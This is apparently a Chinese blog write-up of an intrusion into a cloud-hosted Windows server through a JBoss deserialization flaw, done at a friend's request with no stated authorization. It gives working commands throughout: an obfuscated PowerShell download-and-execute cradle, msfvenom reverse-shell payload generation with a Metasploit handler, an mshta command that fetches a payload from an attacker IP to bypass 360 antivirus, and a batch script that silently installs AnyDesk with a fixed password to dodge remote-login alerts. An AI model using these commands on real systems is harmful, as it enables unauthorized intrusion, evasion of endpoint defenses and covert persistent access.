記一次從Jboss到3389遠程桌面案例
0x01 前言
國慶期間朋友@Sin給我發了個存在Jboss反序列化漏洞的入口點,想打內網,但在進程列表中看到有360主動防御和阿里云盾等進程,沒能繞過360上線CS/MSF......。
0x02 漏洞驗證
這里我們直接利用@STG-6哥的“Java反序列化終極測試工具”來驗證這個漏洞,可以看到直接就是Administrator權限了,Tomcat/Weblogic/Jboss/WebSphere默認大多數都為高權限。

0x03 單機信息搜集
tasklist /svc命令將獲取到的進程列表與本地殺軟進程進行對比后發現存在:ZhuDongFangYu.exe、aliyundun.exe、aliyun_assist_service.exe等進程。
還看到有gpstool.exe某GPS定位工具、GServer.exe位置服務平臺(GSevrer)兩個進程,以及可用于提權的Ssms.exe進程,已經是高權限了,所以暫時用不上。

net localgroup administrators命令下還發現了一個前輩留下的隱藏后門賬戶erdj$,$demo不是哦!

netstat -ano命令下發現1433、3389是開著的,但由于這臺主機為內網,而且存在360主動防御,所以暫時無法實現文件落地、執行添加/修改用戶密碼、端口轉發等操作。

注:即使可以執行以上這些操作,在進行3389遠程桌面連接時很有可能會觸發阿里云主機的異地登錄提醒,所以這里還得特別注意一下,不到萬不得已不建議遠程連接。
Exlive GPS車輛定位服務平臺端口
- “GPS監控服務器”需要打開的端口:89、3873、1098、1501、6969、6767、2099;
- “人員定位服務器”需要打開的端口:89、1504、7979、7878;
- http://www1.exlive.cn/home/listModel/Gserver/main.jsp

翻看磁盤文件時發現“Exlive GPS車輛定位服務平臺”安裝目錄下有一個conf.xml配置文件,存儲著這個定位服務平臺的相關配置信息,包括MSSQL數據庫的用戶和密碼。

ipconfig /all命令下發現這臺主機有兩個網卡,公網:47.**.***.77,內網:10.28.176.131,兩個內網DNS服務器:10.143.22.116、10.143.22.118,并且可以與外網進行通訊。

0x04 繞過主動防御上線
測試了以前常用的Powershell混淆法,不過已經被360主動防御攔了,微軟defender也會檢測ps1腳本內容。所有免殺和繞過方式都有時效性,一旦被公布被查殺和攔截也正常(早晚的事)。
powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://url:8888/360.ps1''))';IEX ($a+$b)

web_delivery、hta_server模塊肯定更不行了,最終我們是利用Mshta.exe白名單方式成功繞過360主動防御得到目標主機Session會話,執行getsystem即可提升為SYSTEM,執行命令如下。
1、生成載荷并編碼msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bincat /tmp/shellcode.bin | base64 -w 0 2、配置監聽模塊參數use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 155.**.***.16set lport 443exploit 3、目標主機執行載荷mshta http://155.**.***.16:8888/bypass360.hta


注:mshta白名單貌似只能用x86的Payload,執行成功后會自動遷移至32位的rundll32.exe進程,所以就可能會出現由werfaylt.exe彈出的下圖報錯,所以個人建議在得到Session后遷移至x64進程,并執行taskkill /f /im werfaylt.exe命令將該進程結束掉。

0x05 繞過異地登錄提醒
雖然已經是最高權限了,但由于這臺主機為阿里云,且存在360主動防御,就不添加用戶進行遠程桌面連接了,因為360會攔截添加用戶,而且遠程桌面連接時會觸發異地登錄提醒。

為避免觸發異地登錄提醒,我們可以利用AnyDesk來進行繞過,將AnyDesk.exe和靜默安裝批處理文件上傳至可讀寫目錄中,然后在命令行下執行該批處理文件獲取連接ID。
注:如果等待時間過長,一直卡著不動獲取不到連接ID時可結束當前命令行,重新進入命令行執行anydesk --get-id命令來獲取連接ID。
@echo offAnyDesk.exe --install "C:\ProgramData\AnyDesk" --silentecho licence_keyABC | "C:\ProgramData\AnyDesk\AnyDesk.exe" --register-licenceecho anydesk!@# | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-passwordchoice /t 10 /d y /n >nulfor /f "delims=" %%i in ('anydesk --get-id') do set CID=%%iecho Connection ID Is: %CID%

接著我們使用靜默安裝批處理文件中設置的固定連接密碼和獲取到的連接ID即可連接到目標主機的遠程桌面,成功的繞過了阿里云主機的異地登錄提醒。

至此,全文結束,內網就不搞了!!!
注意事項:
在運行AnyDesk時得先使用rev2self命令恢復原始令牌,而且得在管理員在線且為激活狀態下執行才能正常使用,如果管理員不在線或者為鎖屏狀態下執行時可能還需要驗證系統密碼。更多繞過方式可參考:3.3.8 騰訊云主機異地登錄提醒繞過、3.3.9 利用第三方繞過遠程桌面連接 。